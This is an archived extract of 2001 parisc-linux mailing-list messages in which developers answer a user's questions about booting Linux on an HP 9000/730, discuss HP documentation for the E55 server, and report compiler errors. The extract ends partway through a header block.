	for <parisc-linux@lists.parisc-linux.org>; Tue, 6 Feb 2001 18:31:28 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:10180

Hello there!

I'm lucky again :)))))


Finally I got my HP box bootin & running Linux *smile*

There are some minor troubles, but I think these will be fixed soon,
e.g.

smb won't compile
netware won't compile
ppp_sync won't compile
fbcon-sti won't compile (at least when I don't compile STI-console)
hwclock doesn't work (can't use /dev/rtc), 'though I seems the
   time and date is read correctly (but hwclock can't set them).
   Is this a known problem ?

I think the "do_page_fault() messages & stack traces"  (, which are
   not seen when I switch VERBOSE=no in /etc/defaults/rcS,)
   are because of some segfaults whilst running some rc-scripts.
   Hope that will be fixed in the new nfsroot.

Many segfaults in sourcing / executing rc-boot-scripts and
   shutdown-scripts. Therefore (I think) I can't reboot/shutdown
   properly (last message is: "sending all processes the TERM signal").
   At least the HP doesn't reboot. But e2fsck reports ext2 is clean.

Is the well known problem of the missing termcap fixed in the new nfsroot?

Is is enough to copy nfsroot onto the scsi disc and adopt /etc/fstab,
   or should I use base.tgz ? what's the difference ?

Mhhh. missing ftp and (open)ssh, strace in (old) nfstools. Are they in the
   new one?

Does the new xc fix major problems or is it just a a little update ?
   IMHO there was a lot done for parisc64, but also for parisc(32) ?



Some questions regarding kernel support of...

networking: can I use all the protocols like ipv6, routing, masq etc?

WAX: is it still not usable ? if not, can I use all the Linux-2.4 isa
   drivers (easily) ?

modules: are kernel modules supported (fully) on parisc ?



greetings & TIA
                  max


PS: yes, quite alot of questions, but I hope that helps others, too!





From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] E55 (9000/856) proprietary interfaces
Date: Tue, 6 Feb 2001 10:40:30 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <D3D6F52F21B7D411BAC400A0C9F486A1012A338E@xfc05.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619844 15131 80.91.229.3 (22 Nov 2014 01:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Christoph Plattner'" <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 10:54:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D34E4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 10:54:08 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA03017
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 10:49:51 -0700
Original-Received: (qmail 30121 invoked by uid 15267); 6 Feb 2001 17:54:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 725 invoked from network); 6 Feb 2001 17:41:05 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 17:41:05 -0000
Original-Received: from amrelay2.boi.hp.com (amrelay2.boi.hp.com [15.56.8.41])
	by atlrel1.hp.com (Postfix) with ESMTP
	id E0E484BD; Tue,  6 Feb 2001 12:41:04 -0500 (EST)
Original-Received: from xboibrg1.boi.hp.com (xboibrg1.boi.hp.com [15.56.8.167])
	by amrelay2.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA13397;
	Tue, 6 Feb 2001 10:41:00 -0700 (MST)
Original-Received: by xboibrg1.boi.hp.com with Internet Mail Service (5.5.2653.19)
	id <1HYH5W6Y>; Tue, 6 Feb 2001 10:41:00 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10181

Christoph -

Please work through me on this one, rather than Martin.  I am the HP R&D
manager directly responsible for the PA/Linux work, while Martin is now the
overall General Manager for HP's Linux System Operation (i.e. this level of
request would just get delegated back to me anyway!).

As you know, the E55 is not supported in our current efforts.  Let me get
some input from the rest of the team on how best to approach your interest
for docs on this system, to do the work.  As you can tell from the email
replies you have sent on the E55, it is not a high priority for us at the
moment.

For now, some comments.  This project would not be where it is without the
interest and energy of people like you.  There are "volunteers" on this
effort who have contributed significantly, and we have tried to help people
by providing some documentation and (sometimes) equipment.

But, the fact is that we currently have more requests for this type of
documentation than we can handle.  So, we prioritize.  We are currently
focused very much on getting the A- & L-class systems working well.  To get
there, it has been pragmatic to get many workstations working as well - 712,
715, C-class, J-class, etc.

If it was easy to get documentation released, this would be an easier
problem.  The fact is, we first need to figure out what docs are needed,
where they are, how to get an online version, have someone review and clean
the documents so they can be released publicly.  Not only does this take
lots of time, but it can be especially difficult to even find the docs for
older products where none of the original engineers can be found.  For some
docs we have released (e.g. the Astro docs) we had an engineer spend weeks
going through this work.

This is not meant as an excuse, just the reality.  And, I should note that
the problem is not that HP is reluctant to release docs for older systems.
It is simply the time involved to get them ready for release.

So, again, we prioritze.  We have released many docs and are hoping to
release more (docs on graphics cards in next on my list).

Does this mean we will never release docs for the E55?  No, it is simply the
fact that the E55 is not our highest priority at the moment.  I hope you can
understand.

I will 


>-----Original Message-----
>From: Christoph Plattner [mailto:christoph.plattner@alcatel.at]
>Sent: Tuesday, February 06, 2001 8:45 AM
>To: martin_fink@hp.com
>Cc: parisc-linux@thepuffingroup.com; christoph.plattner@dot.at
>Subject: [parisc-linux] E55 (9000/856) proprietary interfaces
>
>
>Mr. Fink,
>
>Mr. Kaessmayer in Austria found your mail in the parisc-linux
>mailing list archives concerning HP support for the HP PA-RISC
>Linux project.
>
>I contacted HP in parallel to the PA-RISC hacker, because I am
>interested in using my HP server E55 (9000/856) machine with
>HPPA Linux (puffing group...).
>
>But this series of server has old proprietary interface, and so
>there are no drivers for the interfaces (SCSI, 8-port serial board
>multiplexer and parallel interface).
>
>In my so little spare time, I am interested to work on that part
>for having my E55 supported. Is there a possibility to get information
>(hardware docu, HP-UX driver sources, etc) tp be able to do this
>work ? Can anybody of the HP teams (hardware, device driver programmer,
>system programmer) help me in this point ?
>
>With friendly regards
>
>	Christoph
>
>
>
>-----------------------------------------------------------------
>private:        christoph.plattner@dot.at
>company:        christoph.plattner@alcatel.at
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] E55 (9000/856) proprietary interfaces
Date: Tue, 6 Feb 2001 09:41:45 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <D3D6F52F21B7D411BAC400A0C9F486A1012A338F@xfc05.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619844 15133 80.91.229.3 (22 Nov 2014 01:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Christoph Plattner'" <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 11:05:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 342664A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 11:05:10 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA03072
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 11:00:53 -0700
Original-Received: (qmail 19898 invoked by uid 15267); 6 Feb 2001 18:04:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2932 invoked from network); 6 Feb 2001 17:56:20 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 17:56:20 -0000
Original-Received: from omgw5.rsvl.itc.hp.com (omgw5.rsvl.itc.hp.com [15.34.240.65])
	by cosrel1.hp.com (Postfix) with ESMTP
	id A2A80F4; Tue,  6 Feb 2001 10:56:21 -0700 (MST)
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by omgw5.rsvl.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id KAA25958;
	Tue, 6 Feb 2001 10:56:13 -0700 (MST)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2653.19)
	id <1A0MQBM2>; Tue, 6 Feb 2001 09:56:16 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10182

Christoph -

Oops, sent that last reply before I finished ...

If you want to talk about the E55 more, please work with me directly and I
will do what I can.

Alan

>-----Original Message-----
>From: Christoph Plattner [mailto:christoph.plattner@alcatel.at]
>Sent: Tuesday, February 06, 2001 8:45 AM
>To: martin_fink@hp.com
>Cc: parisc-linux@thepuffingroup.com; christoph.plattner@dot.at
>Subject: [parisc-linux] E55 (9000/856) proprietary interfaces
>
>
>Mr. Fink,
>
>Mr. Kaessmayer in Austria found your mail in the parisc-linux
>mailing list archives concerning HP support for the HP PA-RISC
>Linux project.
>
>I contacted HP in parallel to the PA-RISC hacker, because I am
>interested in using my HP server E55 (9000/856) machine with
>HPPA Linux (puffing group...).
>
>But this series of server has old proprietary interface, and so
>there are no drivers for the interfaces (SCSI, 8-port serial board
>multiplexer and parallel interface).
>
>In my so little spare time, I am interested to work on that part
>for having my E55 supported. Is there a possibility to get information
>(hardware docu, HP-UX driver sources, etc) tp be able to do this
>work ? Can anybody of the HP teams (hardware, device driver programmer,
>system programmer) help me in this point ?
>
>With friendly regards
>
>	Christoph
>
>
>
>-----------------------------------------------------------------
>private:        christoph.plattner@dot.at
>company:        christoph.plattner@alcatel.at
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Tue, 06 Feb 2001 12:22:03 -0800
Lines: 114
Approved: news@gmane.org
Message-ID: <200102062022.MAA04003@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619845 15134 80.91.229.3 (22 Nov 2014 01:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 13:20:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC8694A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 13:20:55 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 20C40BD3; Tue,  6 Feb 2001 12:19:38 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA04003;
	Tue, 6 Feb 2001 12:22:04 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 06 Feb 2001 18:31:26 PST."
             <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10183

Max,
I'm going to take a shot at answering your questions.
Some I don't know the answer.

"M. Grabert" wrote:
> Hello there!
> 
> I'm lucky again :)))))
> 
> 
> Finally I got my HP box bootin & running Linux *smile*

Excellent!


> There are some minor troubles, but I think these will be fixed soon,
> e.g.
> 
> smb won't compile
> netware won't compile
> ppp_sync won't compile

People just have to work through these issues one-by-one.
Feel free to post the issues (one per e-mail) to parisc-linux.
Include error messages from the compiler and where you
got the source from.

> fbcon-sti won't compile (at least when I don't compile STI-console)

The ESIEE team in France is doing alot of work with STI interfaces.
Hopefully they could answer this.
 
> hwclock doesn't work (can't use /dev/rtc), 'though I seems the
>    time and date is read correctly (but hwclock can't set them).
>    Is this a known problem ?

No. I had wrongly assume the /dev/rtc was on the latest NFS root
tar ball (it is not). You need to create it by hand:
	# mknod /dev/rtc c 10 135

If it already exists, then...well, post the console output of hwclock
command to parisc-linux as well.

> 
> I think the "do_page_fault() messages & stack traces"  (, which are
>    not seen when I switch VERBOSE=no in /etc/defaults/rcS,)
>    are because of some segfaults whilst running some rc-scripts.
>    Hope that will be fixed in the new nfsroot.

I think so. The patch from rhirst should help alot with this though.


> Many segfaults in sourcing / executing rc-boot-scripts and
>    shutdown-scripts. Therefore (I think) I can't reboot/shutdown
>    properly (last message is: "sending all processes the TERM signal").
>    At least the HP doesn't reboot. But e2fsck reports ext2 is clean.

ditto.

> Is the well known problem of the missing termcap fixed in the new nfsroot?

yes. (afaict).


> Is is enough to copy nfsroot onto the scsi disc and adopt /etc/fstab,
>    or should I use base.tgz ? what's the difference ?

You should be able to "install" the nfsroot as outlined in
the README.INSTALL (note that the PALO command has changed slightly).

If you want to just clobber an existing root that's in use, I think that
is a bit more complicated. Installing from NFS root or onto a different
disk should be easier.

> Mhhh. missing ftp and (open)ssh, strace in (old) nfstools. Are they in the
>    new one?

only ftp is there.
ssh has been built and used. Not sure if that was openssh.
Don't know about strace.

> Does the new xc fix major problems or is it just a a little update ?
>    IMHO there was a lot done for parisc64, but also for parisc(32) ?

Don't know. amodra?


> Some questions regarding kernel support of...
> 
> networking: can I use all the protocols like ipv6, routing, masq etc?

not tested. You *should* be able to assuming they access data
with proper address alignment.

> 
> WAX: is it still not usable ? if not, can I use all the Linux-2.4 isa
>    drivers (easily) ?

Don't know. (read my .sig "^)

> modules: are kernel modules supported (fully) on parisc ?

yes. But you need to install modutils before enabling that.
modutils_2.4.1-2_hppa.deb is available from the parisc-linux.org ftp site.

hope this helps,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 
 success report
Date: Tue, 06 Feb 2001 16:14:00 -0500
Organization: The Puffins at Linuxcare
Lines: 20
Approved: news@gmane.org
Message-ID: <3A806918.FD048C01@linuxcare.com>
References: <200102062022.MAA04003@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619845 15138 80.91.229.3 (22 Nov 2014 01:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:45 +0000 (UTC)
Cc: "M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 14:07:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.linuxcare.com (unknown [216.88.157.131])
	by dsl2.external.hp.com (Postfix) with SMTP id 140324A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 14:07:06 -0700 (MST)
Original-Received: (qmail 17811 invoked from network); 6 Feb 2001 21:07:08 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (@216.208.98.2)
  by smtp.linuxcare.com with SMTP; 6 Feb 2001 21:07:08 -0000
Original-Sender: adevries@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10184

Grant Grundler wrote:
> Max wrote:
> > WAX: is it still not usable ? if not, can I use all the Linux-2.4 isa
> >    drivers (easily) ?
> 
> Don't know. (read my .sig "^)

We don't have any WAX EISA bridge work working yet... but I have docs
and it is on my to do list.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Putting open source to work.




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Tue, 6 Feb 2001 22:07:33 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010206220733.Y1374@linuxcare.com>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <200102062022.MAA04003@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619845 15143 80.91.229.3 (22 Nov 2014 01:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:45 +0000 (UTC)
Cc: "M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 15:07:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA46B4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:07:04 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2045AB005; Tue,  6 Feb 2001 22:07:34 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200102062022.MAA04003@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Feb 06, 2001 at 12:22:03PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:10185

On Tue, Feb 06, 2001 at 12:22:03PM -0800, Grant Grundler wrote:
> Don't know about strace.

If you check it out of our cvs and build it, it should basically
work under 32 bit kernels.  I still need to tidy up before I can
integrate though.

Richard





From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 
 success report
Date: Tue, 06 Feb 2001 23:12:40 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <3A8076D8.CF5E8CCD@esiee.fr>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619846 15150 80.91.229.3 (22 Nov 2014 01:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 15:12:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7262C4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:12:45 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 73280D158F; Tue,  6 Feb 2001 23:12:40 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10186

Hi Max,

	Here is the ESIEE Team answer! (Exactly what our experince told us :))
smb is one of the most famous questions of LWE Paris. So someone will
have to port it.
We do not think that it has been done yet

> smb won't compile
do not know> netware won't compile
do not know> ppp_sync won't compile

> fbcon-sti won't compile (at least when I don't compile STI-console)
The matter of frame buffer is quite complex. When we look at the code,
the fb-sti init is the first then came up the sti-console init. This
explained the snow you have on the screeen when you compile a kernel
with fbcon-sti and sti-console. This info can be out of date! If someone
has a better news , speak :)

> hwclock doesn't work (can't use /dev/rtc), 'though I seems the
>    time and date is read correctly (but hwclock can't set them).
>    Is this a known problem ?
We think also about /dev/rtc as Grant told you

> Is the well known problem of the missing termcap fixed in the new nfsroot?
Do not think so
> 
> Is is enough to copy nfsroot onto the scsi disc and adopt /etc/fstab,
>    or should I use base.tgz ? what's the difference ?
As we use the network for nfs and ftp, you have to configure the
following files:
/etc/hostname
/etc/network/interfaces
/etc/fstab
also you have to check
/dev/console for sti it should be linked to /dev/tty0
	     for serial it should be linked to /dev/ttyS0
It seems interesting to lokk into /etc/inittab 

> Mhhh. missing ftp and (open)ssh, strace in (old) nfstools. Are they in the
>    new one?
ftp packages (client/server) are available: http://www.esiee.fr/puffin
> 
> Does the new xc fix major problems or is it just a a little update ?
>    IMHO there was a lot done for parisc64, but also for parisc(32) ?
We agree but it is our reason to work, isn't it? 

Here ends what we could answer. Good Luck to all :)

ESIEE Team




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ICE compiling pump
Date: Tue, 06 Feb 2001 15:26:36 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20010206222636.647ED35CF1@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619846 15151 80.91.229.3 (22 Nov 2014 01:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 15:26:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 493364A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:26:37 -0700 (MST)
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id DF8B425E0B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:26:36 -0700 (MST)
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 647ED35CF1
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:26:36 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10187

Building the Debian pump package on a J5000 running a kernel provided by jsm
last night and the latest taggart nfsroot updated with more or less everything
in the new-debs directory on pehc, I get:

cc -I. -Wall -g  -D__STANDALONE__ -DVERSION=\"0.8.3\"   -c -o dhcp.o dhcp.c
dhcp.c: In function `pumpDhcpRun':
dhcp.c:1330: Internal compiler error in eliminate_regs, at reload1.c:2505

Nothing in dmesg.  What else can/should I provide to help chase this down?

Bdale




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] db2 build failed
Date: Tue, 06 Feb 2001 15:34:35 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20010206223437.0FAF635CF1@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619846 15154 80.91.229.3 (22 Nov 2014 01:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 15:34:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82DA94A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:34:37 -0700 (MST)
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 3527E25E0B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:34:37 -0700 (MST)
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 0FAF635CF1
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 15:34:35 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10188

On the same J, building the Debian db-2.7.7 "db2" libraries fails after 
building the "important" pieces with the following:

gcc -g3 -pg  -Ibuild_unix -Iinclude -fPIC -Wall -pipe -D_REENTRANT  -c -o btreec
cc1: warning: PIC code generation is not compatible with profiling

btree/bt_compare.c: In function `__bam_cmp':
btree/bt_compare.c:137: Internal compiler error in output_90, at insn-output.c:4


Bdale




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Wed, 7 Feb 2001 01:26:10 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <01020701261000.01055@P100.helgenet.de>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <3A8076D8.CF5E8CCD@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619847 15156 80.91.229.3 (22 Nov 2014 01:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 17:25:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 761AF4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 17:25:42 -0700 (MST)
Original-Received: (qmail 30513 invoked by uid 0); 7 Feb 2001 00:25:40 -0000
Original-Received: from pd9040d5c.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.92)
